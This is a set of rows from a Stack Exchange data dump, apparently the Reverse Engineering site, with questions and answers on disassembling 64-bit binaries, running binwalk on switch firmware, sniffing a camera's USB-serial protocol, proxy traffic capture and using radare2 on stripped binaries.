  <row Id="16343" PostTypeId="2" ParentId="16340" CreationDate="2017-09-15T06:00:37.857" Score="0" Body="&lt;p&gt;your question is not clear &#xA;if you are interested in only disassembling 64 bit code in a 32 bit computer using a 32 bit executable you can check disassemblers like &#xA;&lt;strong&gt;&lt;a href=&quot;http://www.airesoft.co.uk/disasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;disasm by airesoft&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or cook one using capstone etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iirc hexeditors like hte or bdasm can also handle disassembling  64bit code in 32 bit computers haven't used them lately but i remember using them to disassemble elf files in windows &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample output disassembly of x64 windbg.exe  wmain function ala objdump style using disasm.exe from airesoft&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;DisAsm.exe &quot;e:\EWDK\Program Files\Windows Kits\10\Debuggers\x64\windbg.exe&quot; wmain -blf &amp;gt; foo.txt&#xA;&#xA;:\&amp;gt;head foo.txt&#xA;twitter.com/ThatThereClaire&#xA;No size info found for wmain. Approximating...&#xA;No size info found for wmainCRTStartup. Approximating...&#xA;windbg!wmain:&#xA;                           00000000`4003e458 488bc4          mov     rax,rsp&#xA;                           00000000`4003e45b 48895808        mov     qword ptr [rax+8],rbx&#xA;                           00000000`4003e45f 48897010        mov     qword ptr [rax+10h],rsi&#xA;                           00000000`4003e463 48897818        mov     qword ptr [rax+18h],rdi&#xA;                           00000000`4003e467 55              push    rbp&#xA;                           00000000`4003e468 4154            push    r12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also use &lt;strong&gt;windbg -z&lt;/strong&gt; to disassemble a 64 bit binary in a 32 bit computer as shown below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb  -z &quot;e:\EWDK\Program Files\Windows Kits\10\Debuggers\x64\dbgeng.dll&quot;&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.15063.400 X86&#xA;&#xA;ModLoad: 00000001`80000000 00000001`80626000   e:\EWDK\Program Files\Windows Kits\10\Debuggers\x64\dbgeng.dll&#xA;&#xA;0:000&amp;gt; uf dbgeng!PopOutCtl&#xA;dbgeng!PopOutCtl:&#xA;00000001`80066160 4053            push    rbx&#xA;00000001`80066162 4883ec20        sub     rsp,20h&#xA;00000001`80066166 488bd9          mov     rbx,rcx&#xA;00000001`80066169 e8ba070000      call    dbgeng!FlushCallbacks (00000001`80066928)&#xA;00000001`8006616e 8b03            mov     eax,dword ptr [rbx]&#xA;00000001`80066170 890566a65300    mov     dword ptr [dbgeng!g_OutputControl (00000001`805a07dc)],eax&#xA;00000001`80066176 488b4308        mov     rax,qword ptr [rbx+8]&#xA;00000001`8006617a 4889057f575400  mov     qword ptr [dbgeng!g_OutputClient (00000001`805ab900)],rax&#xA;00000001`80066181 8b4310          mov     eax,dword ptr [rbx+10h]&#xA;00000001`80066184 89056e575400    mov     dword ptr [dbgeng!g_BufferOutput (00000001`805ab8f8)],eax&#xA;00000001`8006618a 8b4314          mov     eax,dword ptr [rbx+14h]&#xA;00000001`8006618d 890565a65300    mov     dword ptr [dbgeng!g_OutputWidth (00000001`805a07f8)],eax&#xA;00000001`80066193 488b4318        mov     rax,qword ptr [rbx+18h]&#xA;00000001`80066197 48890542da5400  mov     qword ptr [dbgeng!g_OutputLinePrefix (00000001`805b3be0)],rax&#xA;00000001`8006619e 4883c420        add     rsp,20h&#xA;00000001`800661a2 5b              pop     rbx&#xA;00000001`800661a3 c3              ret&#xA;0:000&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-09-15T11:02:50.383" LastActivityDate="2017-09-15T11:02:50.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16344" PostTypeId="2" ParentId="16340" CreationDate="2017-09-15T06:43:19.337" Score="0" Body="&lt;p&gt;The disassembler program can be of any bitness and platform. The programmer only needs to have an understanding of the file format. With this knowledge, you could implement an x64 disassembler even for a 16 bit CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you might not be able to run and debug the code. But that's not a disassembler any more then.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2017-09-15T06:43:19.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16345" PostTypeId="1" CreationDate="2017-09-15T07:56:02.623" Score="1" ViewCount="3593" Body="&lt;p&gt;everyone. I am a green apple in reversing. Recently i wanna reverse a switch but get some problems. i reaaaaaaaaly need your guys help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first i extract the .bin file from the switch and use binwalk to analyse. but it shows nothing.&#xA;then i rename the bin file into zip file and unzip it to a new bin file.&#xA;this time binwalk told me this new bin seemed like a 7-zip file. so i rename it again as a .7z file and get a new bin second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this time, i re-binwalk this new bin and i get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:/# binwalk -e ./root/Desktop/3900.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;15483795      0xEC4393        Copyright string: &quot;Copyright(c) 1998-&quot;&#xA;15483879      0xEC43E7        Copyright string: &quot;Copyright(c) 2004-&quot;&#xA;15508246      0xECA316        Unix path: /../../../software/config/cfgplane/cfg_msgp.c&#xA;15509456      0xECA7D0        Copyright string: &quot;copyright-info enable&quot;&#xA;15514394      0xECBB1A        Copyright string: &quot;Copyright (c) 1998-%s Huawei Technologies Co., Ltd. All rights reserved.&quot;&#xA;15514526      0xECBB9E        Copyright string: &quot;Copyright (c) 2004-%s 3Com Corporation and its licensors, All rights reserved.&quot;&#xA;15514690      0xECBC42        Copyright string: &quot;Copyright (c) 2004-%s NEC Corporation. All rights reserved.&quot;&#xA;15514886      0xECBD06        Copyright string: &quot;Copyright (c) 2004-%s Hangzhou H3C Technologies Co., Ltd. All rights reserved.&quot;&#xA;15515210      0xECBE4A        Copyright string: &quot;Copyright(c) 1998-%s Huawei Tech. Co.,Ltd. All rights reserved.&quot;&#xA;15515486      0xECBF5E        Copyright string: &quot;Copyright(c) 2004-%s 3Com Corporation and its licensors. All rights reserved.&quot;&#xA;15515566      0xECBFAE        Copyright string: &quot;Copyright(c) 2004-%s NEC Corporation. All rights reserved.&quot;&#xA;15515736      0xECC058        Copyright string: &quot;Copyright (c) 2004-%s Hangzhou H3C Technologies Co., Ltd. All rights reserved.&quot;&#xA;15518176      0xECC9E0        Copyright string: &quot;copyright-info&quot;&#xA;15530163      0xECF8B3        Copyright string: &quot;copyright information&quot;&#xA;15565459      0xED8293        Copyright string: &quot;Copyright (c) 1998-%s by VRP Team Beijing Institute Huawei Tech, Inc&quot;&#xA;15611066      0xEE34BA        Unix path: /../../../software/config/vosvfs/vfs_cmd.c&#xA;15614526      0xEE423E        Unix path: /../../../software/config/vosvfs/vfs_flsh.c&#xA;15626866      0xEE7272        Unix path: /../../../software/config/vosvfs/vfs_lio.c&#xA;15650452      0xEECE94        Base64 standard index table&#xA;15856182      0xF1F236        Unix path: /../../../software/ifnet/ifkern/if_func.c&#xA;15866478      0xF21A6E        Unix path: /../../../software/ifnet/ifkern/if_index.c&#xA;15868270      0xF2216E        Unix path: /../../../software/ifnet/ifkern/if_mib.c&#xA;15913506      0xF2D222        Unix path: /../../../software/ip/ipaddr/ip_addr.c&#xA;15949882      0xF3603A        Unix path: /../../../software/ip/ipicmp/ip_icmp.c&#xA;15985058      0xF3E9A2        Unix path: /../../../software/ip/ipmib/ip_mib.c&#xA;16088257      0xF57CC1        eCos RTOS string reference: &quot;eCost&quot;&#xA;16089638      0xF58226        Neighborly text, &quot;NeighborspfVirtIfHelloInterval&quot;&#xA;16112196      0xF5DA44        Neighborly text, &quot;NeighborSolicitscmpInRedirects&quot;&#xA;16112228      0xF5DA64        Neighborly text, &quot;NeighborAdvertisementsupMembQueries&quot;&#xA;16112669      0xF5DC1D        Neighborly text, &quot;NeighborSolicitsmpOutRedirects&quot;&#xA;16112701      0xF5DC3D        Neighborly text, &quot;NeighborAdvertisementsupMembQueries&quot;&#xA;16140727      0xF649B7        eCos RTOS string reference: &quot;eCos&quot;&#xA;16209471      0xF7563F        eCos RTOS string reference: &quot;eCos&quot;&#xA;16222603      0xF7898B        Neighborly text, &quot;NeighborTablecDLDPNotification&quot;&#xA;16222627      0xF789A3        Neighborly text, &quot;NeighborEntryx&quot;&#xA;16223179      0xF78BCB        Neighborly text, &quot;NeighborBridgeMacidirection&quot;&#xA;16223207      0xF78BE7        Neighborly text, &quot;NeighborPortIndexrState&quot;&#xA;16223263      0xF78C1F        Neighborly text, &quot;NeighborStatenalPort&quot;&#xA;16223287      0xF78C37        Neighborly text, &quot;NeighborAgingTimeo&quot;&#xA;16257031      0xF81007        eCos RTOS string reference: &quot;eCos&quot;&#xA;16330271      0xF92E1F        eCos RTOS string reference: &quot;eCos&quot;&#xA;16343083      0xF9602B        Neighborly text, &quot;NeighborTablecDLDPNotification&quot;&#xA;16343107      0xF96043        Neighborly text, &quot;NeighborEntryx&quot;&#xA;16343659      0xF9626B        Neighborly text, &quot;NeighborBridgeMacidirection&quot;&#xA;16343687      0xF96287        Neighborly text, &quot;NeighborPortIndexrState&quot;&#xA;16343743      0xF962BF        Neighborly text, &quot;NeighborStatenalPort&quot;&#xA;16343767      0xF962D7        Neighborly text, &quot;NeighborAgingTimeo&quot;&#xA;16380631      0xF9F2D7        eCos RTOS string reference: &quot;eCos&quot;&#xA;16421755      0xFA937B        Neighborly text, &quot;NeighborTablecDLDPNotification&quot;&#xA;16421779      0xFA9393        Neighborly text, &quot;NeighborEntryx&quot;&#xA;16422331      0xFA95BB        Neighborly text, &quot;NeighborBridgeMacidirection&quot;&#xA;16422359      0xFA95D7        Neighborly text, &quot;NeighborPortIndexrState&quot;&#xA;16422415      0xFA960F        Neighborly text, &quot;NeighborStatenalPort&quot;&#xA;16422439      0xFA9627        Neighborly text, &quot;NeighborAgingTimeo&quot;&#xA;16465775      0xFB3F6F        eCos RTOS string reference: &quot;eCos&quot;&#xA;16524211      0xFC23B3        Neighborly text, &quot;NeighborLoss&quot;&#xA;16600952      0xFD4F78        OpenSSH RSA public key&#xA;16600964      0xFD4F84        OpenSSH DSA public key&#xA;16601040      0xFD4FD0        Base64 standard index table&#xA;16653303      0xFE1BF7        Neighborly text, &quot;Neighbor Information%s, %s, aging count %d&quot;&#xA;16653330      0xFE1C12        Neighborly text, &quot;neighbor %s(node %s)ormal&quot;&#xA;16653477      0xFE1CA5        Neighborly text, &quot;neighbor %s(node %s), aging count %d %s), aging count %d&quot;&#xA;16653524      0xFE1CD4        Neighborly text, &quot;neighbor %s(node %s), aging count %d02x&quot;&#xA;16653751      0xFE1DB7        Copyright string: &quot;Copyright (c) 2004-%s 3Com Corporation and its licensors, All rights reserved.&quot;&#xA;16653947      0xFE1E7B        Copyright string: &quot;Copyright (c) Reserved.&quot;&#xA;16654087      0xFE1F07        Copyright string: &quot;Copyright(c) 2004-%s Hangzhou H3C Tech. Co., Ltd. All rights reserved.&quot;&#xA;16654327      0xFE1FF7        Copyright string: &quot;Copyright (c) 1998-%s Huawei Technologies Co.,Ltd. All rights reserved.&quot;&#xA;16657037      0xFE2A8D        Neighborly text, &quot;Neighbor Informations(node %s)&quot;&#xA;16657061      0xFE2AA5        Neighborly text, &quot;Neighbor Information &quot;&#xA;16657090      0xFE2AC2        Neighborly text, &quot;neighbor %s(node %s)&quot;&#xA;16670514      0xFE5F32        Unix path: /../../../software/vos/vosipc/ipc_intf.c&#xA;16680294      0xFE8566        Unix path: /../../../software/vos/vosipc/ipc_cmd.c&#xA;16724146      0xFF30B2        Unix path: /../../../software/lsw/devm/dev_api.c&#xA;16742510      0xFF786E        Unix path: /../../../software/lsw/devm/dev_cli.c&#xA;16775050      0xFFF78A        Unix path: /../../../software/lsw/devm/dev_cli2.c&#xA;16776610      0xFFFDA2        Unix path: /../../../software/lsw/devm/dev_dbp.c&#xA;16777922      0x10002C2       Unix path: /../../../software/lsw/devm/dev_di.c&#xA;16782142      0x100133E       Unix path: /../../../software/lsw/devm/dev_disp.c&#xA;16783018      0x10016AA       Unix path: /../../../software/lsw/devm/dev_drm.c&#xA;16786342      0x10023A6       Unix path: /../../../software/lsw/devm/dev_ekdm.c&#xA;16787106      0x10026A2       Unix path: /../../../software/lsw/devm/dev_ibc.c&#xA;16787458      0x1002802       Unix path: /../../../software/lsw/devm/dev_smth.c&#xA;16787634      0x10028B2       Unix path: /../../../software/lsw/devm/dev_ddm.c&#xA;16799838      0x100585E       Unix path: /../../../software/lsw/mam/mam_cfg.c&#xA;16802322      0x1006212       Unix path: /../../../software/lsw/mam/mam_hot.c&#xA;16806630      0x10072E6       Unix path: /../../../software/lsw/l2inf/src/inf_bdrn.c&#xA;16810006      0x1008016       Unix path: /../../../software/lsw/l2inf/src/inf_cfg1.c&#xA;16820550      0x100A946       Unix path: /../../../software/lsw/l2inf/src/inf_cfg2.c&#xA;16837078      0x100E9D6       Unix path: /../../../software/lsw/l2inf/src/inf_cmd.c&#xA;16838994      0x100F152       Unix path: /../../../software/lsw/l2inf/src/inf_func.c&#xA;16907862      0x101FE56       Unix path: /../../../software/lsw/l2inf/src/inf_init.c&#xA;16907970      0x101FEC2       Unix path: /../../../software/lsw/l2inf/src/inf_hot.c&#xA;16926534      0x1024746       Unix path: /../../../software/lsw/l2inf/src/inf_dbug.c&#xA;16933362      0x10261F2       Unix path: /../../../software/lsw/l2inf/src/inf_agg.c&#xA;16935970      0x1026C22       Unix path: /../../../software/lsw/l2inf/src/inf_irf.c&#xA;17022870      0x103BF96       Unix path: /../../../software/lsw/8021x/8021x_init.c&#xA;17023070      0x103C05E       Unix path: /../../../software/lsw/8021x/8021x_aut.c&#xA;17034054      0x103EB46       Unix path: /../../../software/lsw/8021x/8021x_cfg.c&#xA;17043978      0x104120A       Unix path: /../../../software/lsw/8021x/8021x_func.c&#xA;17061814      0x10457B6       Unix path: /../../../software/lsw/8021x/8021x_rcv.c&#xA;17062702      0x1045B2E       Unix path: /../../../software/lsw/8021x/8021x_snd.c&#xA;17064454      0x1046206       Unix path: /../../../software/lsw/8021x/8021x_tmr.c&#xA;17076050      0x1048F52       Neighborly text, &quot;Neighbor %ld:  Aging Time: %ld(s)ld, Pkts Rvd: %ld, Pkts Err: %ld&quot;&#xA;17076171      0x1048FCB       Neighborly text, &quot;Neighbor Discovery Protocol Ver: %ld, Hello Timer: %ld(s), Aging Timer: %ld(s)g Timer: %ld(s)&quot;&#xA;17076255      0x104901F       Neighborly text, &quot;Neighbor Discovery Protocol is disabled.Protocol is enabled.&quot;&#xA;17077888      0x1049680       Neighborly text, &quot;neighbor discovery protocol protocol&quot;&#xA;17077933      0x10496AD       Neighborly text, &quot;Neighbor discovery protocolent setting&quot;&#xA;17206274      0x1068C02       Unix path: /../../../software/lsw/lacp/lacp_agt.c&#xA;17210514      0x1069C92       Unix path: /../../../software/lsw/lacp/lacp_al.c&#xA;17217766      0x106B8E6       Unix path: /../../../software/lsw/lacp/lacp_cfg.c&#xA;17224400      0x106D2D0       Ubiquiti partition header, header size: 56 bytes, name: &quot;PARTNER_CHURN&quot;, base address: 0x52000000, data size: -1127147903 bytes&#xA;17226050      0x106D942       Unix path: /../../../software/lsw/lacp/lacp_fsm.c&#xA;17237842      0x1070752       Unix path: /../../../software/lsw/lacp/lacp_pub.c&#xA;17252458      0x107406A       Unix path: /../../../software/lsw/mac_auth/mac_auth.c&#xA;17261086      0x107621E       Unix path: /../../../software/lsw/mac_auth/mac_cfg.c&#xA;17429270      0x109F316       Unix path: /../../../software/lsw/port_sec/psec_func.c&#xA;17446945      0x10A3821       Neighborly text, &quot;Neighbor discovery protocolor discovery protocol&quot;&#xA;17447002      0x10A385A       Neighborly text, &quot;Neighbor discovery protocolnt setting&quot;&#xA;17449794      0x10A4342       Unix path: /../../../software/lsw/oadp/src/oadp_snd.c&#xA;17485268      0x10ACDD4       HTML document header&#xA;17485756      0x10ACFBC       HTML document footer&#xA;17485764      0x10ACFC4       HTML document header&#xA;17486039      0x10AD0D7       HTML document footer&#xA;17486048      0x10AD0E0       HTML document header&#xA;17486524      0x10AD2BC       HTML document footer&#xA;17486572      0x10AD2EC       HTML document header&#xA;17486771      0x10AD3B3       HTML document footer&#xA;17486780      0x10AD3BC       HTML document header&#xA;17487112      0x10AD508       HTML document footer&#xA;17487120      0x10AD510       HTML document header&#xA;17487466      0x10AD66A       HTML document footer&#xA;17487476      0x10AD674       HTML document header&#xA;17487685      0x10AD745       HTML document footer&#xA;17487696      0x10AD750       HTML document header&#xA;17488016      0x10AD890       HTML document footer&#xA;17516670      0x10B487E       Copyright string: &quot;copyright C 1988 by the Institute of Electrical and &quot;&#xA;17518516      0x10B4FB4       Copyright string: &quot;Copyright 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The &quot;&#xA;17518648      0x10B5038       Copyright string: &quot;copyrighted by The&quot;&#xA;17519959      0x10B5557       Copyright string: &quot;copyright notice, &quot;&#xA;17520092      0x10B55DC       Copyright string: &quot;copyright notice, &quot;&#xA;17520260      0x10B5684       Copyright string: &quot;Copyright 1994-2002 FreeBSD, Inc. All rights reserved.&quot;&#xA;17520871      0x10B58E7       Copyright string: &quot;copyright notice and this permission  *&quot;&#xA;17520951      0x10B5937       Copyright string: &quot;copyright notice appears in all  *&quot;&#xA;17521134      0x10B59EE       Copyright string: &quot;Copyright (c) David L. Mills 1992-2003  *&quot;&#xA;17521554      0x10B5B92       Copyright string: &quot;copyright notice applies to all files collectively called&quot;&#xA;17521777      0x10B5C71       Copyright string: &quot;Copyright law to grant that status or there are a variety of &quot;&#xA;17522425      0x10B5EF9       Copyright string: &quot;copyright notices impose conditions for redistribution, use &quot;&#xA;17522850      0x10B60A2       Copyright string: &quot;copyright claims of the distributing &quot;&#xA;17522914      0x10B60E2       Copyright string: &quot;copyright notices. Note that Linux &quot;distributions&quot; &quot;&#xA;17523152      0x10B61D0       Copyright string: &quot;copyright terms that are at odds with the OpenBSD license can not be included &quot;&#xA;17523312      0x10B6270       Copyright string: &quot;copyright notices based on the Berkeley model. Such material can be included &quot;&#xA;17523858      0x10B6492       Copyright string: &quot;copyrighted by individuals who have &quot;&#xA;17525203      0x10B69D3       Copyright string: &quot;copyrighted code. &quot;&#xA;17525823      0x10B6C3F       Copyright string: &quot;copyright is similar to the Berkeley copyright, except that it &quot;&#xA;17525860      0x10B6C64       Copyright string: &quot;copyright, except that it &quot;&#xA;17525934      0x10B6CAE       Copyright string: &quot;copyrights, which prevents the general distribution of &quot;&#xA;17526252      0x10B6DEC       Copyright string: &quot;copyright is similar to the Berkeley copyright, except &quot;&#xA;17526289      0x10B6E11       Copyright string: &quot;copyright, except &quot;&#xA;17526396      0x10B6E7C       Copyright string: &quot;copyright notice effectively releases any rights &quot;&#xA;17526464      0x10B6EC0       Copyright string: &quot;copyright, or where the material is the product of an &quot;&#xA;17526652      0x10B6F7C       Copyright string: &quot;copyright owner has &quot;&#xA;17526721      0x10B6FC1       Copyright string: &quot;copyrighted by manufacturers or &quot;&#xA;17526943      0x10B709F       Copyright string: &quot;copyrights, &quot;&#xA;17527015      0x10B70E7       Copyright string: &quot;copyrights can be included in &quot;&#xA;17527062      0x10B7116       Copyright string: &quot;copyright or included licensing terms similar to the Berkeley &quot;&#xA;17527162      0x10B717A       Copyright string: &quot;copyrights, or material to which AT&amp;amp;T has &quot;&#xA;17527305      0x10B7209       Copyright string: &quot;copyrights to much &quot;Unix&quot; code and documentation, &quot;&#xA;17527451      0x10B729B       Copyright string: &quot;copyrighted material. Material with Berkeley copyrights, or copyrights &quot;&#xA;17527496      0x10B72C8       Copyright string: &quot;copyrights, or copyrights &quot;&#xA;17527511      0x10B72D7       Copyright string: &quot;copyrights &quot;&#xA;17527538      0x10B72F2       Copyright string: &quot;copyright holder, while imposing minimal conditions on the use &quot;&#xA;17527617      0x10B7341       Copyright string: &quot;copyright is the model for the OpenBSD copyright. It retains the &quot;&#xA;17527656      0x10B7368       Copyright string: &quot;copyright. It retains the &quot;&#xA;17527717      0x10B73A5       Copyright string: &quot;copyrights. &quot;&#xA;17527980      0x10B74AC       Copyright string: &quot;copyright holder decide to &quot;go commercial&quot; he can not revoke permissions &quot;&#xA;17528136      0x10B7548       Copyright string: &quot;copyright holder can not retroactively say that an individual or class of &quot;&#xA;17529073      0x10B78F1       Copyright string: &quot;copyright, rather all &quot;&#xA;17529141      0x10B7935       Copyright string: &quot;copyright notice or associated &quot;&#xA;17529184      0x10B7960       Copyright string: &quot;copyright arises from the creation of a work and not the text or a &quot;&#xA;17529378      0x10B7A22       Copyright string: &quot;copyright on a derivative work can neither grant additional &quot;&#xA;17529500      0x10B7A9C       Copyright string: &quot;copyright holder &quot;&#xA;17529872      0x10B7C10       Copyright string: &quot;copyright law, usually subject to a variety of conditions. At one extreme &quot;&#xA;17530100      0x10B7CF4       Copyright string: &quot;copyright laws. &quot;&#xA;17530284      0x10B7DAC       Copyright string: &quot;copyrights arise from the creation of a work, rather than through a &quot;&#xA;17530440      0x10B7E48       Copyright string: &quot;copyright holder/distributor with respect to liability &quot;&#xA;17530525      0x10B7E9D       Copyright string: &quot;copyright law and with disclaimers that state &quot;&#xA;17530688      0x10B7F40       Copyright string: &quot;copyright to the material or to part of &quot;&#xA;17530775      0x10B7F97       Copyright string: &quot;copyrights, but rather notices &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i find nothing meaningful, if i use command: binwalk -Me 3900.bin, i get a bunch of nonsense. No single file could be analyzed in IDA pro. Only some html files were extracted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i doubt if this new bin file is some sort of file operation system but not recognized by binwalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i don't know how to continue my reversing. if anyone could give any advice, i will appreciate a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any answer is welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! &lt;/p&gt;&#xA;" OwnerUserId="21624" LastActivityDate="2019-12-02T03:55:00.763" Title="binwalk on reversing switch firmware" Tags="|ida|binary-analysis|firmware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16346" PostTypeId="2" ParentId="16340" CreationDate="2017-09-15T08:30:51.280" Score="6" Body="&lt;p&gt;&lt;em&gt;No, you don't&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the name, &quot;IDA Pro 64&quot; allowed you to analyze 64-bit files but it was itself a 32-bit program (until version 7.0).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-15T08:30:51.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16347" PostTypeId="2" ParentId="16345" CreationDate="2017-09-15T18:20:09.687" Score="0" Body="&lt;p&gt;I don't know the answer specifically. It looks like you might have gotten the file system with the web interface there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do binwalk on a Cisco switch image I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;user@user-KVM:~$ binwalk Downloads/c2960-lanbasek9-mz.150-2.SE4.bin &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;168           0xA8            bzip2 compressed data, block size = 900k&#xA;9137337       0x8B6CB9        bzip2 compressed data, block size = 900k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That first chunk is probably a file header. It is 168 bytes long. I'd opt for the second part being interesting. I've used dd in linux to pull off components of files like this previously. That might be useful here too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recap, I have an original TAR file that I downloaded. I untarred that and got into the directory where the bin file lives. This is what I used binwalk on. &lt;/p&gt;&#xA;" OwnerUserId="21629" LastActivityDate="2017-09-15T18:20:09.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16348" PostTypeId="1" CreationDate="2017-09-15T18:38:49.463" Score="0" ViewCount="350" Body="&lt;p&gt;I've got an old film camera that uses a cable to connect to a PC. The camera records information like shutter speed, lens used, flash fired, focal length, etc. I'd like to download this information and keep it with my photos. The software that comes with this cable works only on Windows XP. I'm trying to get something that will work with a python script on linux ideally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to capture some usb/serial traffic and see what is sent and received. After several tries, I got some data captured. However, I can't really understand what is going on. It's rather cryptic to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;List of Details:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Windows XP the device shows up as using com3/4, hence I think it is a serial device over USB. I couldn't get portmon to capture anything at all.&lt;/li&gt;&#xA;&lt;li&gt;I tried various USB sniffers inside windows xp virtual machine--none worked. &lt;/li&gt;&#xA;&lt;li&gt;I tried capturing USB traffic in VMWare logs, this worked but it's cryptic and doesn't look terribly helpful.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I was hoping to get a set of commands that are available on this device to send and receive various pieces of data. Are there any good suggestions/tips/tricks that you can offer to get me started down a successful path? I know this will be trial and error, but what else can I try? Maybe the data I have is sufficient and I need to interpret somehow? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="21629" LastActivityDate="2021-03-28T04:18:36.780" Title="RE USB-Serial device driver [Canon ES-E1 for EOS-1V]" Tags="|serial-communication|driver|usb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16352" PostTypeId="2" ParentId="16340" CreationDate="2017-09-16T10:42:00.527" Score="0" Body="&lt;p&gt;To add to many &quot;No&quot; responses: the latest &quot;64 bit disassembler/IDA Pro&quot; refers to the disassembler application itself - that it executes in 64 bit mode (a bit faster, and generally nicer to the OS, as they are all 64 bit there days). This has nothing to do with what code it can disassemble. The capabilities of the latest release are largely the same as previous, &quot;32-bit&quot; release. At least on the level of how most non-pros look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;64-bit IDA Pro will probably break all pre-compiled plugins, though, as they are all compiled in 32-bit mode. I haven't checked.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-09-16T10:42:00.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16353" PostTypeId="1" CreationDate="2017-09-16T14:33:39.577" Score="0" ViewCount="1782" Body="&lt;p&gt;So i wanted to see the endpoints of this android/ios app calles &quot;Bigo Live&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like always, i've set up charles and started trackig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funnily, it only shows part of the traffic. for example: If i use the apps search, i DO NOT see the search request, however, i see the users avatars being downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems not like some usual SSL-Pinning. There pops simply NO request up in charles (Not even a failed one!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate it if anybody has any idea what kind of background magic is going on there.&lt;/p&gt;&#xA;" OwnerUserId="19961" LastActivityDate="2017-11-20T01:38:32.417" Title="charles proxy only showing portion of requests?" Tags="|android|ios|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16354" PostTypeId="1" AcceptedAnswerId="16356" CreationDate="2017-09-16T18:17:29.000" Score="0" ViewCount="488" Body="&lt;p&gt;I'm pretty new to reverse engineering, and I have several times seen that programs make requests to certain websites with specific host names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use a debugger and checked for the URL it posts to as binary string (referenced strings) and in the memory map but surprisingly I found nothing. The URL must be there some where after all the program knows how to send data to a specific host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I find and change this URL?&lt;/p&gt;&#xA;" OwnerUserId="21637" LastEditorUserId="21637" LastEditDate="2017-09-19T07:45:24.543" LastActivityDate="2023-11-05T18:15:42.080" Title="Change URL a program sends data to" Tags="|disassembly|decompilation|exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16355" PostTypeId="1" AcceptedAnswerId="16359" CreationDate="2017-09-16T19:07:59.633" Score="1" ViewCount="3492" Body="&lt;p&gt;As the question says I need to reverse a stripped elf binary with &lt;code&gt;radare2&lt;/code&gt;. This binary is also statically linked. I already reversed it in IDA by identifying statically linked libraries using &lt;code&gt;lscan&lt;/code&gt; and importing the &lt;code&gt;.sig&lt;/code&gt; files provided by &lt;code&gt;lscan&lt;/code&gt; into IDA in order to resolve function names.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to import these files to &lt;code&gt;radare2&lt;/code&gt;. Also I don't know if the same solution applies to &lt;code&gt;radare2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="18698" LastEditDate="2017-09-17T08:33:27.050" LastActivityDate="2017-09-17T08:41:13.023" Title="reversing stripped &amp; statically linked binary with radare2" Tags="|binary-analysis|elf|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
